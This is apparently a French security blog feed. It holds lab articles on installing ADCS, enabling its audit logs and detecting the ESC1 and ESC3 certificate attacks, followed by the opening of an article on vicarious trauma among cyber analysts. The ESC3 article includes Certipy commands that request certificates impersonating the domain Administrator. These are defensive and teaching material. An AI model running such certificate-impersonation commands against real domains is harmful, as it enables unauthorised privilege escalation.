<p>L'ADCS est un élément au centre d'énormément d'attaques, car il permet, lorsqu'un de ses éléments est mal configuré, d'augmenter ses privilèges, et d'obtenir les privilèges d'administrateurs du domaine. Maintenant que nous avons <a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-collecte-logs"><strong>accès aux logs</strong></a>, nous pouvons tester différentes attaques pour étudier les logs associés. Ces différentes attaques sont appelées ESC<strong>XX</strong> où le <strong>X</strong> correspond à un nombre, permettant de les différencier. Cette nomenclature a été proposée par l’entreprise Specter Ops dans son article <a target="_blank" href="https://posts.specterops.io/certified-pre-owned-d95910965cd2"><strong>Certified Pre-Owned</strong></a> et le <a target="_blank" href="https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf"><strong>Whitepaper</strong></a> associé, puis reprise par la communauté lors de la découverte de nouveaux vecteurs d’attaque.</p>
<p>‍</p>
<h1 id="heading-esc1">ESC1</h1>
<h2 id="heading-creation-du-modele-vulnerable-pour-les-tests"><strong>Création du modèle vulnérable pour les tests</strong></h2>
<p>Nous allons créer un modèle de certificat vulnérable. Pour cela, sur le serveur ADCS, dans l'applicatif "certsrv", effectuer un clic droit sur le dossier "Modèle de certificats" ouvrira un menu, où il faudra sélectionner "Gérer" :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687600e072b3950f027cf3b6_Image7.png" alt /></p>
<p>Cette action va ouvrir le menu de gestion des modèles de certificat. Pour gagner du temps, on va dupliquer le modèle <strong>"Utilisateur"</strong> en effectuant un clic droit sur ce dernier, puis en sélectionnant <strong>"Dupliquer le modèle".</strong></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687600febbb25c234faeb2ea_Image8.png" alt /></p>
<p>Dans l'onglet Général, nous allons appeler le modèle de certificat "<strong>TEST-ESC1"</strong>, et dans le <strong>"Nom du sujet",</strong> il faudra remplacer "<strong>Construire à partir de ces informations Active Directory" par "Fournir dans la demande", puis valider.</strong></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6876012cbfc52a5a599c331f_Image9.png" alt /></p>
<p>Lorsque l'option "Fournir dans la demande" est cochée, il est possible de préciser, lors de la demande de certificat basée sur ce modèle, des informations qui ne sont pas forcément conformes avec celles de l'Active Directory, ou du moins qui ne correspondent pas à notre utilisateur courant. Par exemple, on peut arbitrairement indiquer un nom d'utilisateur (UPN), pour usurper l'identité de quelqu'un d'autre. C’est le cœur de l’attaque ESC1.</p>
<p>Pour ajouter le nouveau modèle à l'autorité de certification, il faut effectuer un clic droit dans le menu "Modèles de certificats", et choisir successivement <strong>"Nouveau",</strong> puis <strong>"Modèle de certificat à délivrer" :</strong></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6876015efd7b651a247f91dd_Image10.png" alt /></p>
<p>Et on va ajouter le modèle que nous venons de créer :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68760750bfc52a5a59a0eebb_Image11.png" alt /></p>
<p>Il devrait désormais apparaître dans la liste des modèles</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687607640585a109e2573ce5_Image12.png" alt /></p>
<h2 id="heading-exploitation"><strong>Exploitation</strong></h2>
<p>On va utiliser l'outil de Lyak appelé Certipy : <a target="_blank" href="https://github.com/ly4k/Certipy"><strong>https://github.com/ly4k/Certipy</strong></a></p>
<pre><code class="lang-bash">certipy find -u &lt;nom d<span class="hljs-string">'utilisateur&gt; -p &lt;mot de passe&gt; -text -stdout</span>
</code></pre>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68760795659e1e14f4b60e93_Image13.png" alt /></p>
<p>Pour commencer, le modèle nous est bien présenté comme vulnérable à l'ESC1 car:</p>
<p>• Le modèle est disponible (Enabled = True)</p>
<p>• Il est possible de s'authentifier avec un certificat de ce type (Client authentication = True)</p>
<p>• Il est possible de préciser des informations sur le certificat que l'on veut obtenir (Enrolee Supplies Object = True)</p>
<p>• Un groupe non privilégié peut demander un certificat (Ici, Utilisateurs du domaine)</p>
<p>Ainsi, on peut voir que l'on peut demander un certificat en précisant un User Principal Name / UPN, ici avec le compte Administrateur :</p>
<p>certipy req -ca &lt;Nom de l'autorité de certification &gt; -u &lt;nom d'utilisateur&gt; -p &lt;mot de passe&gt; -template &lt;Modèle de certificat vulnérable à l'ESC1&gt; -upn &lt;utilisateur que l'on veut usurper&gt;</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687607daa463d755fda415ff_Image15.png" alt /></p>
<p>On a bien reçu les deux certificats au format <strong>pfx,</strong> pour le compte misty qui a fait la requête, mais aussi et surtout pour le compte Administrateur. Il est alors possible de s'authentifier avec ces derniers, pour compromettre les comptes associés :‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687607f4b8b809650f74627c_Image16.png" alt /></p>
<p>Si le modèle n'est pas vulnérable à l'ESC1, le certificat généré ne prendra pas en compte l’UPN fourni :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6876080a1f5396f3a2a6805f_Image17.png" alt /></p>
<h2 id="heading-detection"><strong>Détection</strong></h2>
<p>L'événement 4887 du journal Security correspond à l'émission validée d'un certificat. L'événement 4888 quant à lui correspond au refus de la demande d'un certificat. On peut voir qu'il y a dans le log le champ UPN que l'on a précisé (upn=Administrateur), le template associé (CertificateTemplate:User), et le compte qui a effectué la demande (misty) :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687608236ecb523c72368acc_Image18.png" alt /></p>
<p>Ici, le champ UPN que l'on a précisé (upn=Administrateur), le template associé (CertificateTemplate:TEST-ESC1), et le compte qui a effectué la demande (misty) :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687608446ecb523c7236ac30_Image19.png" alt /></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687608490585a109e25786d6_Image20.png" alt /></p>
<p>On pourra donc détecter les tentatives d'ESC1 en utilisant les filtres suivants :</p>
<p>• Event ID [4887 ou 4888]</p>
<p>• UPN != Demandeur (ici Administrateur != misty)</p>
<p>Enfin, pour ne pas laisser notre environnement vulnérable, on peut supprimer le modèle de certificat :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6876085f6ecb523c7236c2f8_Image21.png" alt /></p>
<h1 id="heading-esc3">ESC3</h1>
<h2 id="heading-creation-du-modele-vulnerable-pour-les-tests-1"><strong>Création du modèle vulnérable pour les tests</strong></h2>
<p>De la même façon, on va aller plus vite en dupliquant le modèle utilisateur :‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68760887bbb25c234fb26aeb_Image22.png" alt /></p>
<p>En nouveau nom, on va choisir "<strong>TEST-ESC3"</strong> :‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687608a0659e1e14f4b6a9be_Image23.png" alt /></p>
<p>Dans l'onglet <strong>"Extensions"</strong>, il faudra modifier la "Stratégies d'application" pour ajouter l'option <strong>"Agent de demande de certificat" :</strong></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687608c36e2d2110a3a88d6b_Image24.png" alt /></p>
<p>C’est ce paramètre qui rendra ce modèle de certificat vulnérable à l’attaque ESC3.</p>
<p>Ensuite, pour l'ajouter à l'autorité de certification, il faut effectuer un clic droit dans le menu "<strong>Modèles de certificats</strong>", et choisir successivement <strong>"Nouveau"</strong>, puis "<strong>Modèle de certificat à délivrer" :</strong></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687608e50585a109e258072e_Image25.png" alt /></p>
<p>Et on va ajouter le modèle que nous venons de créer :‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687608f8d9ecd88c8546ffea_Image26.png" alt /></p>
<h2 id="heading-exploitation-1"><strong>Exploitation</strong></h2>
<p>En relançant l'énumération des informations des certificats</p>
<pre><code class="lang-bash">certipy find -u &lt;nom d<span class="hljs-string">'utilisateur&gt; -p &lt;motde passe&gt; -text -stdout</span>
</code></pre>
<p>Nous obtenons les résultats suivants :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68760917bbb25c234fb2f695_Image27.png" alt /></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6876091c6ecb523c72379660_Image28.png" alt /></p>
<p>Pour commencer, le modèle nous est bien présenté comme vulnérable à l'ESC3 car:</p>
<p>• Le modèle est disponible (Enabled = True)</p>
<p>• Il est possible de préciser d'utiliser le certificat pour en demander un autre (Extended Key Usage contient Certificate Request Agent)</p>
<p>• Il faut que l'on puisse demander un certificat sans avoir besoin qu'il soit validé par la console de l'ADCS (Requires Manager Approval = False)</p>
<p>• Un groupe non privilégié peut demander un certificat (Ici, Utilisateurs du domaine)</p>
<p>‍</p>
<p>Ainsi, on va demander deux certificats. Le premier en demandant un certificat basé sur le modèle vulnérable à l'ESC3 :</p>
<p>certipy req -ca &lt;Nom de l'autorité de certification/Certificate Authorities&gt; -u &lt;nom d'utilisateur&gt; -p &lt;mot de passe&gt; -template &lt;Modèle de certificat vulnérable à l'ESC3&gt;</p>
<p>Ensuite, on va demander un nouveau certificat permettant l'authentification cliente (par exemple, le modèle par défaut User) en précisant le compte que l'on veut usurper avec l'argument « on-behalf-of » en utilisant le certificat que l'on vient d'obtenir :</p>
<p>certipy req -ca &lt;Nom de l'autorité de certification/Certificate Authorities&gt; -u &lt;nom d'utilisateur&gt; -p &lt;mot de passe&gt; -template &lt;Modèle de certificat permettant le client authentication&gt; -on-behalf-of &lt;utilisateur que l'on veut usurper&gt; -pfx &lt;Certificat que l'on vient d'obtenir&gt;</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687609910585a109e2588a85_Image31.png" alt /></p>
<p>Encore une fois, il est possible de s'authentifier avec le certificat que l'on vient d'obtenir pour le compte Administrateur et donc de compromettre le compte.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687609a3bbb25c234fb3852f_Image32.png" alt /></p>
<p>Si lors de la demande du certificat, l'erreur "CERTSRV_E_SUBJECT_EMAIL_REQUIRED" apparaît, cela signifie que l'adresse e-mail du compte n'est pas disponible. Il faudra alors soit l'ajouter dans les propriétés du compte, dans l'applicatif "Utilisateurs et Ordinateurs Active Directory" sur un des contrôleurs du domaine :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687609b8f7f44469ad515271_Image33.png" alt /></p>
<p>Soit, dans l'onglet "<strong>Nom du sujet</strong>", il est possible de décocher les deux options indiquant qu'il faut inclure le compte de messagerie dans le certificat :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687609ce6ecb523c72381e38_Image34.png" alt /></p>
<p>‍</p>
<h1 id="heading-detection-1">Détection</h1>
<p>Cette fois-ci, on peut voir que le champs "Sujet", contenant le Disinguished Name du compte « Administrateur », ne correspond pas au champs "Demandeur", ici « KANTO\misty ».</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/687609e86e78f3b3532f584f_Image35.png" alt /></p>
<p>Dans le cas de l'Event ID 4888 (refus de la demande), il ne contient malheureusement pas assez d'informations pour vérifier si l'exploitation a été tentée.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68760a0f6ecb523c72385123_Image36.png" alt /></p>
<p>On pourra donc détecter les tentatives d'ESC3 en utilisant les filtres suivants :</p>
<p>• Event ID [4887]</p>
<p>• Sujet != Demandeur (ici Administrateur != misty)</p>
<p>Nous verrons d'autres typologie d'attaques dans un prochain article.</p>
]]></content:encoded></item><item><title><![CDATA[Détection des attaques ADCS - Collecte des logs]]></title><description><![CDATA[Avec un ADCS fonctionnel, il est temps d'activer une journalisation complète des événements associés. Cet article détaille l'activation de l'audit via l'interface graphique ou en PowerShell, afin de surveiller les opérations critiques.
Maintenant que...]]></description><link>https://blog.login-securite.com/detection-des-attaques-adcs-collecte-des-logs</link><guid isPermaLink="true">https://blog.login-securite.com/detection-des-attaques-adcs-collecte-des-logs</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:48:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754245974292/65f1c106-0b51-4e8e-ba30-eb32590c4f36.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Avec un ADCS fonctionnel, il est temps d'activer une journalisation complète des événements associés. Cet article détaille l'activation de l'audit via l'interface graphique ou en PowerShell, afin de surveiller les opérations critiques.</p>
<p>Maintenant que nous avons <a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-installation-role-adcs"><strong>configuré l'ADCS</strong></a>, et qu'il est <a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-configuration-dc"><strong>utilisable</strong></a>, nous allons activer le logging des événements.</p>
<h1 id="heading-configuration-de-ladcs-pour-la-creation-des-logs">Configuration de l'ADCS pour la création des logs</h1>
<p>La première étape est d’ouvrir la "Stratégie de sécurité locale" de notre serveur ADCS. Puis, dans "Configuration avancée de la stratégie d'audit &gt; Stratégies d'audit système - Objet Stratégie de groupe &gt; Accès à l'objet &gt; Auditer les services de certification", il faudra activer les événements d'audit pour les succès et échecs :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68810765705bc6093a7064df_2025-07-23%2018_01_22-ADCS%20-%20PART%203.docx%20-%20Word.png" alt /></p>
<p>‍</p>
<p>Enfin, maintenant que la création des logs est activée, il faut choisir ce que l'on veut auditer.</p>
<p>Voici deux méthodes pour surveiller l'ensemble des activités de l'ADCS :</p>
<h1 id="heading-methode-1-activation-via-gui">Méthode 1: activation via GUI</h1>
<p>Dans l'applicatif « certsrv » du serveur ADCS, on va ouvrir le menu "Propriétés" en effectuant un clic droit sur l'autorité de certification. Ensuite, dans l'onglet "Audit", on va activer les différents éléments à auditer :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688107a0a32dd57721f86221_2025-07-23%2018_01_44-ADCS%20-%20PART%203.docx%20-%20Word.png" alt /></p>
<p>‍</p>
<h1 id="heading-methode-2-activation-via-powershell"><strong>Méthode 2 : activation via PowerShell</strong></h1>
<p>Dans un PowerShell lancé en tant qu'Administrateur sur le serveur ADCS, on va lancer les commandes suivantes :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fff06ecb523c72320bc7_Image3.png" alt /></p>
<p>La première ligne va activer l'ensemble des événements d'audit, et la deuxième va redémarrer le service.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688107b66d6bbc8b487c53b8_2025-07-23%2018_01_57-ADCS%20-%20PART%203.docx%20-%20Word.png" alt /></p>
<p>Voici les différentes valeurs à additionner pour activer l'audit au cas par cas :</p>
<p>‍</p>
<p>• 1 - Démarrage et arrêt des services de certificats Active Directory</p>
<p>• 2 - Sauvegarde et restauration de la base de données de l'autorité de certification</p>
<p>• 4 - Émission et gestion des demandes de certificats</p>
<p>• 8 - Révocation des certificats et publication des listes de révocation des certificats</p>
<p>• 16 - Modification des paramètres de sécurité de l'autorité de certification</p>
<p>• 32 - Sauvegarde et récupération des clés archivées</p>
<p>• 64 - Modification de la configuration de l'autorité de certification</p>
<p>Si tous les événements doivent être activés, la somme fait bien 127.</p>
<p><strong>Les nouveaux événements</strong></p>
<p>Une fois la configuration effectuée, on peut voir dans l'Observateur d'événements nos nouveaux Events ID. On peut par exemple voir ici le démarrage du service de certificats, et l'émission d'un certificat.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688107c07901ea7d9d237153_2025-07-23%2018_02_06-ADCS%20-%20PART%203.docx%20-%20Word.png" alt /></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688107c73f57fb0833c9ee4e_2025-07-23%2018_02_14-ADCS%20-%20PART%203.docx%20-%20Word.png" alt /></p>
<p>La liste des événements que l'on peut activer peut-être trouvée sur le site de microsoft : <a target="_blank" href="https://xn--la%20liste%20des%20vnements%20que%20l'on%20peut%20activer%20peut-tre%20trouve%20sur%20le%20site%20de%20microsoft%20:%20https-tzkb0d0g//learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786423\(v=ws.11\)%20Le%20prochain%20et%20dernier%20article%20de%20cette%20s%C3%A9rie%20expliquera%20comment%20d%C3%A9tecter%20les%20attaques%20ESC1%20et%20ESC3,%20tr%C3%A8s%20r%C3%A9guli%C3%A8rement%20rencontr%C3%A9es%20lors%20de%20nos%20tests%20d%E2%80%99intrusion."><strong>https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786423(v=ws.11)</strong></a></p>
<p>Le prochain article de cette série expliquera comment détecter les attaques ESC1 et ESC3, très régulièrement rencontrées lors de nos tests d’intrusion.</p>
]]></content:encoded></item><item><title><![CDATA[Détection des attaques ADCS - Installation du rôle ADCS]]></title><description><![CDATA[Dans ce premier article d'une série consacrée à la sécurité de l'ADCS, nous expliquons comment mettre en place serveur ADCS. Ce guide vous accompagne pas à pas dans l'installation d'un ADCS, tout en attirant l'attention sur les mauvaises pratiques à ...]]></description><link>https://blog.login-securite.com/detection-des-attaques-adcs-installation-du-role-adcs</link><guid isPermaLink="true">https://blog.login-securite.com/detection-des-attaques-adcs-installation-du-role-adcs</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:48:08 GMT</pubDate><content:encoded><![CDATA[<p>Dans ce premier article d'une série consacrée à la sécurité de l'ADCS, nous expliquons comment mettre en place serveur ADCS. Ce guide vous accompagne pas à pas dans l'installation d'un ADCS, tout en attirant l'attention sur les mauvaises pratiques à éviter, notamment l'enrôlement via le Web, souvent vulnérable.</p>
<p>L'ADCS (Active Directory Certificate Services) est le service qui gère la PKI (Public Key Infrastructure). Il peut avoir pour rôle déchiffrer et signer numériquement les documents et les messages électroniques, ainsi qu'aider lors de l'authentification des comptes. Il s'agit d'un élément incontournable d'un Active Directory, et sa configuration ainsi que sa surveillance sont donc critiques.</p>
<p>L'objectif de ce guide va être de le configurer et de surveiller les logs.‍</p>
<p><strong>Configuration d'un serveur pour installer l'autorité de certification</strong></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Attention, lors de ce tutoriel, l'autorité de certification par le Web va être installée. Il ne faudra pas laisser sa configuration par défaut, car elle est vulnérable à des attaques d'élévation de privilèges. Si elle n'est pas nécessaire, il faudra ignorer l'étape qui indique qu'il faut activer l'enrôlement par le Web.</div>
</div>

<p>Pour cela, nous allons commencer par installer la fonctionnalité sur un serveur. Dans le gestionnaire de serveur, il faudra ouvrir le menu "Ajouter des rôles et des fonctionnalités".</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875f940659e1e14f4ad98f1_Image2.png" alt /></p>
<p>Ensuite, on avance jusqu'à arriver dans le menu "Rôles de serveurs" et on coche la case "Services de certificats Active Directory":</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875f956d9ecd88c853d2b5b_Image3.png" alt /></p>
<p>‍</p>
<p>Dans le menu AD CS, il faudra activer les deux options "Autorité de certification" et "Inscription de l'autorité de certification via le Web".</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Attention</strong>, L'inscription par le web n'est pas obligatoire, elle permet l'<strong>ajout d'une vulnérabilité</strong> très souvent rencontrée lors des pentest. En effet, ce service de rôle est vulnérable lorsque que sa configuration par défaut est utilisée. Nous reviendrons sur la sécurisation de sa configuration dans un prochain article </div>
</div>

<p> <img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875f997a10a03ee295bf30a_Image5.png" alt /></p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>Attention, </strong>(pour la 3ème fois, mais on tient vraiment à mettre en garde),<strong> </strong>la configuration de l'autorité de certification via le Web est vulnérable par défaut (attaque par relai HTTP ESC8), il est important de ne pas simplement l'installer, il faudra la modifier plus tard.</div>
</div>

<p>Plus qu'à confirmer les paramètres d’installation :</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875f9cfd9ecd88c853d5ce8_Image7.png" alt /></p>
<p>Maintenant, l'installation est finie :</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875f9e48035d0398982a54b_Image8.png" alt /></p>
<p>‍</p>
<p>Lorsque l'on revient dans le Gestionnaire de serveur, le drapeau en haut à droite permet de configurer l'autorité de certification. On peut y voir un symbole d'avertissement :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875f9fb8035d0398982b59a_Image9.png" alt /></p>
<p>En avançant dans le menu "services de rôle", on va cocher les deux options pour configurer ce que nous venons d'installer :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fa12b8b809650f70fc6f_Image10.png" alt /></p>
<p>Ensuite, on choisit l'option "Autorité de certification d'entreprise", ce qui nous permettra de gérer par nous même les modèles/Template de certificats :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fa2b8035d0398982f11e_Image11.png" alt /></p>
<p>Pour la configuration de la clef privée, l'algorithme de hachage SHA512 et une longueur de clé de 4096 seront assez robustes :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fa468035d03989830eef_Image12.png" alt /></p>
<p>Le reste de la configuration peut être laissée par défaut. On peut alors la valider :‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fa60c0542f52f670cff9_Image13.png" alt /></p>
<p>Si tout s'est déroulé correctement, on peut confirmer dans le menu du programme « certsrv » que l'on a bien installée l'autorité de certifications, et que nous avons accès à la liste des certificats délivrés :‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/6875fa77e50b34a7a88119f3_Image14.png" alt /></p>
<p>Nous avons donc réussi à installer notre autorité de certification !</p>
<p>Dans le <a target="_blank" href="https://www.login-securite.com/blog/detection-attaques-adcs-configuration-dc"><strong>prochain article</strong></a>, nous configurerons les contrôleurs de domaine pour qu’ils utilisent cette nouvelle autorité de certification.</p>
]]></content:encoded></item><item><title><![CDATA[Le Traumatisme Vicariant : un fléau silencieux dans les métiers de la cybersécurité]]></title><description><![CDATA[On parle beaucoup de burnout, de stress chronique, de désengagement progressif dans les équipes cyber. Mais rarement, trop rarement, on nomme ce qui ronge lentement, de l’intérieur, certains analystes.
Un mal discret, invisible à l’œil nu, mais dont ...]]></description><link>https://blog.login-securite.com/le-traumatisme-vicariant-un-fleau-silencieux-dans-les-metiers-de-la-cybersecurite</link><guid isPermaLink="true">https://blog.login-securite.com/le-traumatisme-vicariant-un-fleau-silencieux-dans-les-metiers-de-la-cybersecurite</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:46:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754246295559/2ce2babc-aa36-4f80-9570-bbf7e9a1312a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On parle beaucoup de burnout, de stress chronique, de désengagement progressif dans les équipes cyber. Mais rarement, trop rarement, on nomme ce qui ronge lentement, de l’intérieur, certains analystes.</p>
<p>Un mal discret, invisible à l’œil nu, mais dont les effets peuvent être dévastateurs : <strong>le traumatisme vicariant.</strong></p>
<p>Ce traumatisme est une réalité encore trop peu abordée dans notre univers professionnel. Pourtant, dans nos rôles de threat hunters, de SOC analysts, de forensic investigators, … nous sommes en première ligne, pas face à des bombes ou des armes, mais face à des récits d’atrocités, à des images insoutenables, à des signaux faibles d’un monde parfois glaçant.</p>
<p>Et même si on ne le montre pas, ces contenus laissent une empreinte. Une empreinte silencieuse, mais bien réelle. Il est temps de poser les mots. D’ouvrir le dialogue. Et surtout, de proposer des pistes concrètes pour se protéger, individuellement et collectivement.</p>
<p>‍</p>
<h1 id="heading-definition">Définition</h1>
<p>Depuis plus de 30 ans, le traumatisme vicariant est un sujet d'étude dans les professions de la santé mentale. Au fil du temps, ces recherches se sont élargies pour inclure les secouristes, les forces de l'ordre, ainsi que les scientifiques et praticiens en médecine légale. Mais qu'en est-il de nous, les analystes cyber, les cyberwomen and men ? Les sciences sociales ont pris du retard pour aborder les défis uniques auxquels font face les professionnels de la cybersécurité confrontés à des contenus potentiellement traumatisants.</p>
<p>Dans nos métiers de threatintelligence, SOC, forensic, modération de contenu, OSINT, gestion de vulnérabilités, nous passons notre quotidien à analyser les ombres : attaques, violences, extrémisme, pédocriminalité, torture, exploitation humaine… Ces réalités sombres font partie intégrante de notre travail, mais à force de plonger dans ces contenus toxiques, un phénomène insidieux émerge : <strong>le traumatisme vicariant</strong>. Aussi appelé traumatisme secondaire, ce phénomène se manifeste lorsqu'une personne s'engage avec empathie auprès des victimes de traumatismes. Initialement décrit par McCann &amp; Pearlman (1990), ce mécanisme montre que même les professionnels formés et aguerris ne sont pas immunisés contre l'impact psychologique des horreurs qu'ils analysent. Petit à petit, cela modifie nos croyances, notre rapport aux autres et, dans certains cas, notre capacité à continuer à exercer ce métier.</p>
<h4 id="heading-il-est-important-de-souligner-que-tous-les-analystes-cyber-ne-sont-pas-necessairement-exposes-au-traumatisme-vicariant-cependant-il-sagit-dune-possibilite-a-laquelle-tous-les-enqueteurs-doivent-etre-sensibles-et-conscients"><strong>Il est important de souligner que tous les analystes cyber ne sont pas nécessairement exposés au traumatisme vicariant. Cependant, il s'agit d'une possibilité à laquelle tous les enquêteurs doivent être sensibles et conscients.</strong></h4>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/68146900d12fb44d4e4e8b27_susan-wilkinson-EDJKEXFbzHA-unsplash.jpg" alt /></p>
<h1 id="heading-limpact-cache-sur-les-professionnels">L'Impact caché sur les professionnels</h1>
<p>Le traumatisme vicariant se manifeste de manière subtile mais peut entraîner des conséquences profondes et durables. En tant qu’analystes cyber, l'exposition continue à des contenus traumatisants peut entraîner des symptômes qui impactent le bien-être émotionnel et mental. Voici les principaux signes à surveiller :</p>
<ul>
<li><p><strong>Fatigue émotionnelle</strong> : cynisme, détachement, perte de sens, et désengagement émotionnel</p>
</li>
<li><p><strong>Troubles du sommeil</strong> : insomnie, cauchemars, et anxiété, souvent accompagnés de fatigue chronique</p>
</li>
<li><p><strong>Agitation et incapacité à gérer les choses</strong> : sentiment de perte de contrôle et d’impuissance</p>
</li>
<li><p><strong>Changements d’humeur soudains</strong> : irritabilité, frustration, et une moindre tolérance envers les autres</p>
</li>
<li><p><strong>Retrait social</strong> : isolement progressif, évitement des interactions avec les pairs, amis ou famille</p>
</li>
<li><p><strong>Comportements risqués</strong> : recherche de sensations fortes, y compris des comportements excessifs comme l’abus de substances ou de jeux</p>
</li>
<li><p><strong>Symptômes de TSPT secondaires</strong> : flashbacks, réminiscences traumatiques liées au contenu analysé, et irritabilité persistante</p>
</li>
<li><p><strong>Effondrement cognitif</strong> : perte de lucidité, biais de jugement, et recours au repli défensif</p>
</li>
<li><p><strong>Épuisement professionnel (burnout)</strong> : un épuisement mental et physique exacerbés par l'absence de reconnaissance ou de soutien</p>
</li>
</ul>
<p>Ces symptômes peuvent se manifester progressivement, souvent sans être immédiatement perceptibles et peuvent engendrer un désengagement silencieux et, dans les cas extrêmes, conduire à un burnout. Il est essentiel de reconnaître ces signes tôt pour éviter des répercussions plus graves sur la santé mentale et la performance professionnelle.</p>
<p>Et si seulement ça s’arrêtait là… Mais à tout cela vient s’ajouter un bruit ambiant ; ce « noise » conceptualisé par Kahneman et Olivier Sibony une forme de perturbation cognitive trop souvent négligée, éclipsée par la focalisation quasi-exclusive sur les biais.</p>
<p>Nous l’aborderons plus longuement dans notre article dédié à la gestion de crise.</p>
<p>Chaque jour, une organisation moyenne est bombardée par des dizaines de milliers d’IP uniques en grande majorité malveillantes. Derrière ces adresses, des scanners automatisés, des botnets ou des acteurs opportunistes génèrent un tsunami d’événements, inondant les SIEM jusqu’à saturation. Les équipes cyber se retrouvent à naviguer à vue dans un océan d’alertes, où le bruit l’emporte sur le signal, et où les véritables menaces ciblées risquent de passer sous le radar.</p>
<p>‍</p>
<h1 id="heading-comprendre-et-proteger">Comprendre et Protéger</h1>
<p>Avec l'explosion du volume de données accessibles via les réseaux sociaux et les nouvelles technologies, l'exposition à des contenus traumatisants a fortement augmenté.</p>
<p>Dans le domaine de la cybersécurité, ce risque demeure invisible et souvent non reconnu. Les analystes sont fréquemment confrontés à ces données brutales, souvent seuls, sans accompagnement psychologique ni culture de prévention adaptée.</p>
<p>‍</p>
<p>En plus de la facilité d'accès aux contenus violents, les professionnels de la cybersécurité sont aussi confrontés à des menaces spécifiques telles que le cyberharcèlement, les contenus abusifs, les menaces extrémistes, le CSAM (Child Sexual Abuse Material), le doxing, les violences en ligne, les images violentes, les récits de meurtres, les discours de haine, la propagande extrémiste, et d'autres formes de contenus perturbants.</p>
<p>Bien que ces analystes ne soient pas en contact direct avec les victimes, des recherches récentes montrent que l'impact psychologique peut être tout aussi profond, même sans interaction directe avec la souffrance.</p>
<p>Des études démontrent que la proximité avec un événement traumatique augmente les risques de symptômes de stress post-traumatique (TSPT). Bien que les femmes soient généralement plus enclines à exprimer ces symptômes, le sexe n'est pas un facteur déterminant statistiquement.</p>
